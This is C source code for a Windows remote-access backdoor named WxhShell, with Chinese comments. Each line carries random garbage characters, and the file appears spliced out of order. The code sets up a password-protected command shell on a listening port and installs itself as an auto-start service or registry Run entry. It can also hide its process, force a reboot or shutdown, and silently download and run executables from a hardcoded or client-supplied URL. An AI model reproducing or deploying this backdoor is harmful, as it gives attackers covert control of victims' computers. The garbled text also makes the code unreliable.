    if(Boot(SHUTDOWN)) v9H t~\>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  B=*0  
    else { IiniaVuQ  
    closesocket(wsh); <%.%q  
    ExitThread(0); KGDN)@D  
    } (LsVd2AbR  
    break; d_(>:|o h  
    } z$1|D{  
  // 获取shell FV9{u[3m  
  case 's': { X[Iy6qt  
    CmdShell(wsh); zx<t{e7  
    closesocket(wsh); J t.<Z&  
    ExitThread(0); 8{0XqE~ix=  
    break; SOG(&)b  
  } GI{EP&C  
  // 退出 %!iqJ)*~  
  case 'x': { NUM!'+H_h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *Z"cXg^ti  
    CloseIt(wsh); 274j7Y'  
    break; 9+y&&;p  
    } ~ ?nn(Q-  
  // 离开 V_ (Ly8"1;  
  case 'q': { mD> J,E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f-#:3k*7S  
    closesocket(wsh); PI L)(%X  
    WSACleanup(); vFHeGq70j  
    exit(1); `=;}I@]zj)  
    break; r]LP=K1  
        } U{dK8~  
  } .pZYPKMaE  
  }  #NyO'  
)7Hx <?P  
  // 提示信息 RNB -W%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q^<amM!  
} N'{Yhx u  
  } ~I N g9|  
:kcqf,7  
  return; zU[o_[+7^  
} dlyGgaV*X  
kT   
// shell模块句柄 *b~8`O pa`  
int CmdShell(SOCKET sock) 8r>\scS  
{ kj|Oj+&  
STARTUPINFO si; v1i-O'  
ZeroMemory(&si,sizeof(si)); \ P6 !  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8Mtd}{Fw*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hTO5*5]0zP  
PROCESS_INFORMATION ProcessInfo; m^BXLG:b  
char cmdline[]="cmd"; 5vD\?,f E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h)sT37  
  return 0; RCa1S^.  
} e\(X:T  
k t`ln  
// 自身启动模式 tWl' )^  
int StartFromService(void) \a0{9Xx F  
{ ir}*E=*  
typedef struct u0) O Fz  
{ Vxrj(knck,  
  DWORD ExitStatus; 5X3JQ"z  
  DWORD PebBaseAddress; tHaHBx1P  
  DWORD AffinityMask; bkR~>F]FAu  
  DWORD BasePriority; 0-OKbw5%=b  
  ULONG UniqueProcessId; R%LFFMVn  
  ULONG InheritedFromUniqueProcessId; &b~ X&{3,  
}   PROCESS_BASIC_INFORMATION; cb'Y a_  
s8:epcL`A  
PROCNTQSIP NtQueryInformationProcess; V O1   
}x$@j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dR i6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ga KZ4#  
k"7ZA>5jk  
  HANDLE             hProcess; CUTjRWQ  
  PROCESS_BASIC_INFORMATION pbi; M'|[:I.V  
MZ0cZv$v!~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g#fn(A  
  if(NULL == hInst ) return 0; 4T52vM  
)M.g<[= ^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RpU i'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Tn,_0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8S#&XS>o  
,;YNI  
  if (!NtQueryInformationProcess) return 0; 3 u=\d)eq  
~%tVb c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g_PP 9S_?  
  if(!hProcess) return 0; B.?F^m@zS  
vp&.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5KbPpKpd  
i \Yd_  
  CloseHandle(hProcess); %q r,Ssa/  
5mVO9Q j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AzzHpfv,  
if(hProcess==NULL) return 0; dj5|t~&  
L\#G#1x8  
HMODULE hMod; {c I~Nf?i  
char procName[255]; H!FaI(YZl  
unsigned long cbNeeded; V*?QZ;hCP  
Mx0~^l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t?^!OJ:L  
t~}c"|<t  
  CloseHandle(hProcess); 6ym$8^  
GGLSmfb)  
if(strstr(procName,"services")) return 1; // 以服务启动 ,| 8aDL?  
m0 W3pf  
  return 0; // 注册表启动 lZkJ<*z#  
} ?t}s3P!Q3w  
]) v61B  
// 主模块 IrRe6nf@K  
int StartWxhshell(LPSTR lpCmdLine) F `F|.TX  
{ Y1AZ%{^0a  
  SOCKET wsl; 7uUq+dp  
BOOL val=TRUE; AW_YlS  
  int port=0; z<P?p  
  struct sockaddr_in door; *\+oe+3  
P1L+Vnfu  
  if(wscfg.ws_autoins) Install(); D@5h$ m5  
Uv?^qe0=  
port=atoi(lpCmdLine); ~T9QpL1OJ  
q|klsup  
if(port<=0) port=wscfg.ws_port; kwww5p ["  
8)s0$64Ra  
  WSADATA data; Pdh`Gu1:3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $B9?>a|{A  
?&qQOM~b-\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9%R"(X)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nT~XctwF  
  door.sin_family = AF_INET; M d Eds|D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K}n.k[Do  
  door.sin_port = htons(port); K5<2jl3S  
it>Bf;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y% !.:7Y  
closesocket(wsl); $zhvI*0  
return 1; >X[:(m'  
} 7[L%j;)bw  
mJ[_q >  
  if(listen(wsl,2) == INVALID_SOCKET) { @az<D7j2  
closesocket(wsl); U![$7k>,pr  
return 1; Dbx zqd  
} n0K+/}m  
  Wxhshell(wsl); J_XkQR[Y  
  WSACleanup(); B1I{@\z0G  
%PPy0RZ^  
return 0; ncVt (!c,e  
,'<NyA><  
} U0|bKU  
#PC*l\ )  
// 以NT服务方式启动 ())_4 <  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L*p7|rq$"  
{ x~IrqdmW  
DWORD   status = 0; .4w"3>  
  DWORD   specificError = 0xfffffff; p_zVrlVb  
V%t_,AT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B"88 .U}$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iYdg1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;$]a.9 -  
  serviceStatus.dwWin32ExitCode     = 0; Hit )mwfYE  
  serviceStatus.dwServiceSpecificExitCode = 0; z#n+iC$9  
  serviceStatus.dwCheckPoint       = 0; SEu:31k{o  
  serviceStatus.dwWaitHint       = 0;  SN}3  
Xrc{w Dn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wT3D9N.  
  if (hServiceStatusHandle==0) return; S,'ekWVD  
c8_,S[W  
status = GetLastError(); T gLr4Ex  
  if (status!=NO_ERROR) GsD?Z%t~%  
{ o5+7Lt]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $QT% -9&  
    serviceStatus.dwCheckPoint       = 0; E+ XR[p  
    serviceStatus.dwWaitHint       = 0; 7bVKH[  
    serviceStatus.dwWin32ExitCode     = status; u ^2/:L  
    serviceStatus.dwServiceSpecificExitCode = specificError; :.{d,)G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @.dM1DN)  
    return; }lq$Fi/  
  } ojJu a c4  
OzH\YN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 31]Vo;D  
  serviceStatus.dwCheckPoint       = 0; 3 UQBIrQ  
  serviceStatus.dwWaitHint       = 0;   LR4W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n(n7"+B  
} #!m^EqF1_  
*uxKI:rB:  
// 处理NT服务事件,比如:启动、停止 jrm^n_6};  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R(}!gv}s  
{ ;d}n89DXj  
switch(fdwControl) Un+-  T  
{ w8KxEV=  
case SERVICE_CONTROL_STOP: ;?-{Uk  
  serviceStatus.dwWin32ExitCode = 0; E1A5<^t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O|9Nl*rXz  
  serviceStatus.dwCheckPoint   = 0; q}E'x/s2m  
  serviceStatus.dwWaitHint     = 0; UpiZd/K  
  { IG%x(\V-e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O!F"w !5@  
  } 0N6 X;M{zh  
  return; ,&@FToR  
case SERVICE_CONTROL_PAUSE: SM<qb0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;ae6h [  
  break; Kr4%D*  
case SERVICE_CONTROL_CONTINUE: daf-B-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,z((?h,nm  
  break; 6hFs{P7  
case SERVICE_CONTROL_INTERROGATE: "`pg+t&  
  break; zR=g<e1xe  
}; bDegIW/'w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ihi!u%~}  
} XNBzA3W  
GIK.+kn\  
// 标准应用程序主函数 ?]}=4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D{+D.4\  
{ 1P BnGQYM  
F=UW[zy/[  
// 获取操作系统版本 COH.`Tv{*  
OsIsNt=GetOsVer(); 09iD| $~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [eDRghK  
g)<[-Q1  
  // 从命令行安装 /pGx !  
  if(strpbrk(lpCmdLine,"iI")) Install(); i-sm9K'ns  
k6;pi=sYNW  
  // 下载执行文件 K$$%j"s  
if(wscfg.ws_downexe) { S;{[];  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m .En!~t  
  WinExec(wscfg.ws_filenam,SW_HIDE); @d ^MaXp_P  
} YIl,8! z~  
&';@CeK  
if(!OsIsNt) { Ds8x9v)^  
// 如果时win9x,隐藏进程并且设置为注册表启动 %VrMlG4hx  
HideProc(); 2T"[$iH!7  
StartWxhshell(lpCmdLine); XpT})AV  
} `KP}pi\  
else  sJ_3tjs)  
  if(StartFromService()) kPnuU!  
  // 以服务方式启动 ]/mRMm9"3h  
  StartServiceCtrlDispatcher(DispatchTable); Yp $@i20  
else w#sP5qKv8  
  // 普通方式启动 1fh6A`c  
  StartWxhshell(lpCmdLine); u/`x@u  
Ap}`Q(.  
return 0; _`9WNJiL  
} uVw|jj  
S.owVMQ  
"W"r0"4  
*MN("<A_  
=========================================== t\ 9Y)d  
}sfv zw_  
M !rw!,g  
XfwH1n/o#  
(8GA;:G7G  
d5=yAn-+=  
" 6 c-9[-Px  
3cFvS[JG  
#include <stdio.h> :XO7#P  
#include <string.h> cdfnM%`>\  
#include <windows.h> mZ#IP  
#include <winsock2.h> NV3oJ0f&2  
#include <winsvc.h> #@L<<Q8}  
#include <urlmon.h> & y7~  
dQAo~] B  
#pragma comment (lib, "Ws2_32.lib") M[&p[P@  
#pragma comment (lib, "urlmon.lib") 2AjP2  
x=44ITe1n[  
#define MAX_USER   100 // 最大客户端连接数 CDFkH  
#define BUF_SOCK   200 // sock buffer p?+;[!:  
#define KEY_BUFF   255 // 输入 buffer }An;)!>(nF  
Olq`mlsK  
#define REBOOT     0   // 重启 PW-sF  
#define SHUTDOWN   1   // 关机 M3q7{w*bM  
fR lJ`\ t  
#define DEF_PORT   5000 // 监听端口 i,$n4  
/oU$TaB>(  
#define REG_LEN     16   // 注册表键长度 zvbz3a  
#define SVC_LEN     80   // NT服务名长度 EJ Ta~  
S%w67sGl4n  
// 从dll定义API OKNGV,{`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |Lz7}g=6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .@f )#2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "(E%JAwZ^W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i th!,jY*i  
IpsV4nmnz-  
// wxhshell配置信息  d|$-Sz  
struct WSCFG { O}[){*GG=  
  int ws_port;         // 监听端口 _jk+$`[9PL  
  char ws_passstr[REG_LEN]; // 口令 +L}R|ihkI  
  int ws_autoins;       // 安装标记, 1=yes 0=no G#z9=NF~V  
  char ws_regname[REG_LEN]; // 注册表键名 hhr>nuA  
  char ws_svcname[REG_LEN]; // 服务名 Um I,?p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1);E!D[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G)7J$4R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hmtDw,j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ! 9=Y(rb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZF;s`K)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (FNX>2Mv  
N_y#Y{c{(  
}; (7}Zh|@W  
`qr.@0whP  
// default Wxhshell configuration )0 i$Bo  
struct WSCFG wscfg={DEF_PORT, S >\\n^SbT  
    "xuhuanlingzhe", %lN4"jtx  
    1, jD_B&MQz  
    "Wxhshell", M cbiO)@I  
    "Wxhshell", ;+VHi%5Z  
            "WxhShell Service", {=kW?  
    "Wrsky Windows CmdShell Service", ( z%t  
    "Please Input Your Password: ", J y0TVjA  
  1, =&;}#A%m  
  "http://www.wrsky.com/wxhshell.exe", T`|>oX  
  "Wxhshell.exe" is=|rY9$  
    }; _K|?;j#x0k  
FGRG?d4?h  
// 消息定义模块 ~bX ) %jC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Sy34doAZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [E/^bM+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AG,;1b,:81  
char *msg_ws_ext="\n\rExit."; \!'K#%]9  
char *msg_ws_end="\n\rQuit."; +Ram%"Zwh  
char *msg_ws_boot="\n\rReboot..."; /Oa.@53tK6  
char *msg_ws_poff="\n\rShutdown..."; '5SO3/{b  
char *msg_ws_down="\n\rSave to "; %Z#[{yuFs  
Ya,(J0l  
char *msg_ws_err="\n\rErr!"; ^NOy: >  
char *msg_ws_ok="\n\rOK!"; =zKbvwe%X  
F[U0TP@&*  
char ExeFile[MAX_PATH]; \E2S/1p  
int nUser = 0; h>jp.%oOu  
HANDLE handles[MAX_USER];   [IW6F  
int OsIsNt; ZfIeq<8 _  
}zV#?;}  
SERVICE_STATUS       serviceStatus; 3})0p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1 ,4V8gp  
&pLCN[a  
// 函数声明 ]7_O#MY1  
int Install(void); 97SG;,6  
int Uninstall(void); tsqWnz=)  
int DownloadFile(char *sURL, SOCKET wsh); R{Qvpd$y  
int Boot(int flag); ogKd}qTov  
void HideProc(void); WevXQ-eKm  
int GetOsVer(void); KXga {]G:  
int Wxhshell(SOCKET wsl); =?- s azF&  
void TalkWithClient(void *cs); jT q@@y  
int CmdShell(SOCKET sock); Q##L|*Qy  
int StartFromService(void); JB\BP$ap  
int StartWxhshell(LPSTR lpCmdLine); &5;y&dh  
ffE>%M*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JQWW's}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v D4<G{  
d9uT*5f  
// 数据结构和表定义 9w,u4q  
SERVICE_TABLE_ENTRY DispatchTable[] = TGQDt|+Z  
{ ;Ajy54}7  
{wscfg.ws_svcname, NTServiceMain}, N&+DhKw  
{NULL, NULL} mnWbV\VY  
}; W/| C  
h\$juIQa  
// 自我安装 9]TvL h3  
int Install(void) "t)|N dZm  
{ ;X2(G  
  char svExeFile[MAX_PATH]; J*CfG;Y:  
  HKEY key; Oe%jV,S|V  
  strcpy(svExeFile,ExeFile); I`}<1~ue  
Qz?r4kR  
// 如果是win9x系统,修改注册表设为自启动 4'-GcH  
if(!OsIsNt) { VNLggeX'U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n`)wD~mk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zr@G  
  RegCloseKey(key); 2VNfnk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #2*2xt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t#[u X?  
  RegCloseKey(key); lw"5p)aB  
  return 0; A4uDuB;;ZQ  
    } ,\ RxKSU  
  } `m Tc  
} Z<0+<tt  
else { M.R] hI  
N%&D(_  
// 如果是NT以上系统,安装为系统服务 )C CrO   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V2?&3Z) W  
if (schSCManager!=0) 13T0"}  
{ A/"p PO  
  SC_HANDLE schService = CreateService 2i~qihx5^  
  ( [,fdNxc8  
  schSCManager, &$</|F)y  
  wscfg.ws_svcname, 5U/1Z{  
  wscfg.ws_svcdisp, f~D> *<L4-  
  SERVICE_ALL_ACCESS, NTtRz(   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <\cH9D`dE  
  SERVICE_AUTO_START, Z"fnjH  
  SERVICE_ERROR_NORMAL, 2x*C1   
  svExeFile, MO$ dim>  
  NULL, r?=7#/]  
  NULL, 1y5$  
  NULL, Soa5TM  
  NULL, /M "E5  
  NULL '{:Yg3K  
  ); k99ANW  
  if (schService!=0) Uwqm?]  
  { a/wkc*}}/  
  CloseServiceHandle(schService); ^L<*ggw  
  CloseServiceHandle(schSCManager); 6uijxia  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 61J01(+|  
  strcat(svExeFile,wscfg.ws_svcname); Ng} AEAFp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "HQH]?!k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y Hv85y  
  RegCloseKey(key); q(yw,]h]{  
  return 0; X;ZR"YgT  
    } "kjjq~l  
  } SAEr$F^  
  CloseServiceHandle(schSCManager); &n:F])`2  
} SdfrLdi}Y  
} ]{[VTjC7rY  
Z<#beT6  
return 1; .#b!#   
} $bU|'}QR  
t'EH_ U  
// 自我卸载 \8!&X cA  
int Uninstall(void) [lC*|4t&  
{ "=W7=V8w  
  HKEY key; 9J?G"JV?  
RkJ\?  
if(!OsIsNt) { #mX=Y>l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P~0d'Oi  
  RegDeleteValue(key,wscfg.ws_regname); |j i}LWcD  
  RegCloseKey(key); G'z&U?Ng  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8P3EQY -  
  RegDeleteValue(key,wscfg.ws_regname); URW'*\Xjb  
  RegCloseKey(key); .Wq`q F(;  
  return 0; qu[x=LZ_  
  } ,diV;d  
} e6f!6a+%  
} BV&}(9z  
else { LTY@}o]\U  
1px:(8]{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |400N +MK  
if (schSCManager!=0) T] nZ3EZ  
{ 5U[;T]{)e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )(&g\  
  if (schService!=0) X!n-nms  
  { Kk~0jP_B9  
  if(DeleteService(schService)!=0) { U"xI1fg%b  
  CloseServiceHandle(schService); f#l/N%VoBZ  
  CloseServiceHandle(schSCManager); *4^!e/  
  return 0; 6!i0ioZzi0  
  } %xR;8IO  
  CloseServiceHandle(schService); 3Lq?Y7#KQp  
  } =ot`V; Q>  
  CloseServiceHandle(schSCManager); 48n>[ FMSR  
} w>X33Ff]8@  
} AO'B p5:Q  
zu}h3n5  
return 1; %&^F.JTt\  
} N L]:<FG  
7;n'4LIa9  
// 从指定url下载文件 ~"5WQK`@  
int DownloadFile(char *sURL, SOCKET wsh) S{z%Q  
{ .J~iRhVOF  
  HRESULT hr; z1LATy  
char seps[]= "/"; WW;S  
char *token; XTyn[n  
char *file; 8*)zoT*A  
char myURL[MAX_PATH]; (G"b)"Qum  
char myFILE[MAX_PATH]; T.HI $(d  
EPr{1Z  
strcpy(myURL,sURL); / GJ"##<  
  token=strtok(myURL,seps); j*$GP'Df3  
  while(token!=NULL) {P(Z{9u%  
  { oa`,|dA"  
    file=token; /+J?Ep(_  
  token=strtok(NULL,seps); F#iLMO&Q  
  } b9OT~i=S|  
y6; '?.Y1  
GetCurrentDirectory(MAX_PATH,myFILE); g B<p  
strcat(myFILE, "\\"); Gn;eh~uw;l  
strcat(myFILE, file); + &b`QcH<  
  send(wsh,myFILE,strlen(myFILE),0); `ivr$b#  
send(wsh,"...",3,0); m7e$ Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d<qbUk3;  
  if(hr==S_OK) "aP>}5<h  
return 0; E+"INX7  
else @}x)>tqD  
return 1; (>>pla^  
.dp~%!"Sn,  
} x-Z`^O  
;oULtQ  
// 系统电源模块 ix]3t^  
int Boot(int flag) @^;WC+\0  
{ :H\6wJ  
  HANDLE hToken; z0HCmj9T  
  TOKEN_PRIVILEGES tkp; d+ih]?  
^C):yxN P  
  if(OsIsNt) { q`}Q[Li  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f<WnPoV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OV>T}Fq  
    tkp.PrivilegeCount = 1; VPn #O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K~@-*8%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X&M4 c5Li  
if(flag==REBOOT) { =YZp,{T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Sd^e!? bp  
  return 0; ,h5.Si>  
} Roy`HU ;0a  
else { S5v>WI^0h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q_6./.GQ  
  return 0; P}&7G-  
} 0} liK  
  } |RAi6;  
  else { yi# Nrc5B  
if(flag==REBOOT) { `-s+  zG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R`ZU'|  
  return 0; <W/-[ M  
} /n?5J`6  
else { **-%5 ~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?$;_a%v6  
  return 0; cGsxfwD  
} \ fU{$  
} x7Ly,  
zmf5!77  
return 1; A>OL5TCl  
} xJ>hN@5}i  
c 2?(.UV  
// win9x进程隐藏模块 52l|  
void HideProc(void) MY9?957F  
{ Zi@?g IiX  
'/;#{("  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *-_` xe  
  if ( hKernel != NULL ) ):LJ {.0R  
  { IDE@{Dy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #B`"B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?*,N ?s(U  
    FreeLibrary(hKernel); AUS?P t[w  
  } N.xmHvPk  
p5)A"p8"9,  
return; y @Y@"y  
} 0gO2^m)W  
kZ`60X%wE  
// 获取操作系统版本 b |m$ W  
int GetOsVer(void) 8DLR  
{  U@m<  
  OSVERSIONINFO winfo; cdzzS?$)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bU2)pD!N  
  GetVersionEx(&winfo); Sqc*u&W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Kj}hb)HU  
  return 1; (sJ{27b_  
  else ,O 3"r;  
  return 0; #hR}7K+@  
} }#EiL !Pv  
c4L5"_#`x-  
// 客户端句柄模块 X"iy.@7  
int Wxhshell(SOCKET wsl) `x6 i5mp  
{ wzo-V^+q  
  SOCKET wsh; fRaVY`|wK  
  struct sockaddr_in client; b%,5B  
  DWORD myID; A{9Hm:)  
|%&WYm6&#  
  while(nUser<MAX_USER) jW2z3.w  
{ pl q$t/.U;  
  int nSize=sizeof(client); "M_X9n_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~O@V;y  
  if(wsh==INVALID_SOCKET) return 1; o~<fw]y  
oc\rQ?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1#]tCi`  
if(handles[nUser]==0) y7d)[d*Mz  
  closesocket(wsh); 4y 582u6^  
else dHf_&X2A  
  nUser++; G:u[Lk#6K  
  } /d'^ XYOC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,W*<e-  
z6'zNM7M  
  return 0; @YpA'cX7  
} =,gss&J!!  
'OBA nE<.  
// 关闭 socket K{M_ 4'\  
void CloseIt(SOCKET wsh) @] )a  
{ "-v9V7KCM  
closesocket(wsh); g"# R>&P  
nUser--; YDjQ&EH  
ExitThread(0); KMoRMCT  
} us`hR!_  
ZW+{<XTof4  
// 客户端请求句柄 ]jY->NsA]  
void TalkWithClient(void *cs) _i}6zxqw  
{ ]#S1 AvT  
,@Ed)Zoh  
  SOCKET wsh=(SOCKET)cs; )_xM)mH  
  char pwd[SVC_LEN]; qZ_^#%zO  
  char cmd[KEY_BUFF]; 0lmoI4bW}s  
char chr[1]; YfxZ<  
int i,j; eg?vYW  
jn)~@~c  
  while (nUser < MAX_USER) { m]7yc>uDy  
CzNSJVE5  
if(wscfg.ws_passstr) { PcUi+[s;x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fo?2nQ<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8.Y6r  
  //ZeroMemory(pwd,KEY_BUFF); ^U~YG=!ww  
      i=0; LsV!Sd  
  while(i<SVC_LEN) { L8R|\Bx  
$D9JsUij  
  // 设置超时 wQM(Lm#Q  
  fd_set FdRead; C+y:<oo)  
  struct timeval TimeOut; y3;G<9K2c]  
  FD_ZERO(&FdRead); ix7N q7!N  
  FD_SET(wsh,&FdRead); &)xoR4!2  
  TimeOut.tv_sec=8; bmt2~!  
  TimeOut.tv_usec=0; c?<FMb3]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ##k== 'dR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N<N!it  
r<&d1fM;X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dBobVT'  
  pwd=chr[0]; <]CO}r   
  if(chr[0]==0xd || chr[0]==0xa) { tQ?? nI2  
  pwd=0; oB_{xu$6|  
  break; Q6.},o  
  } \8_&@uLm  
  i++; L2Gm0 v  
    } @#8F5G#  
3b#KrN'  
  // 如果是非法用户,关闭 socket 3ufUB^@4v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5zfaqt`  
} KS(s<ip|  
{CQA@p:Y}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lQ! 6n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !u\X,.h  
n~K_|  
while(1) { Q4c>gds`  
YEVH?`G  
  ZeroMemory(cmd,KEY_BUFF); lXv{+ic  
"V?U^L>SF  
      // 自动支持客户端 telnet标准   \i`/k(  
  j=0; E8FS jLZ  
  while(j<KEY_BUFF) { (F$q|qZ%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {:{NK%  
  cmd[j]=chr[0]; AO8`ItNZdT  
  if(chr[0]==0xa || chr[0]==0xd) { #MOEY|6  
  cmd[j]=0; #1V vK  
  break; , Y9lp)w  
  } q'c'rN^  
  j++; pmQ9i A@=  
    } (zgXhx_!D  
9.1%T06$  
  // 下载文件 fS!%qr  
  if(strstr(cmd,"http://")) { #\t?`\L3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %G\rL.H|  
  if(DownloadFile(cmd,wsh)) zbi[r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Du[$6  
  else uv9cOd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SB eb}LZ  
  } &IOChQ`8P  
  else {  b.C!4^  
;uDH&3W  
    switch(cmd[0]) { }v@w(*)h:  
  #,!.e  
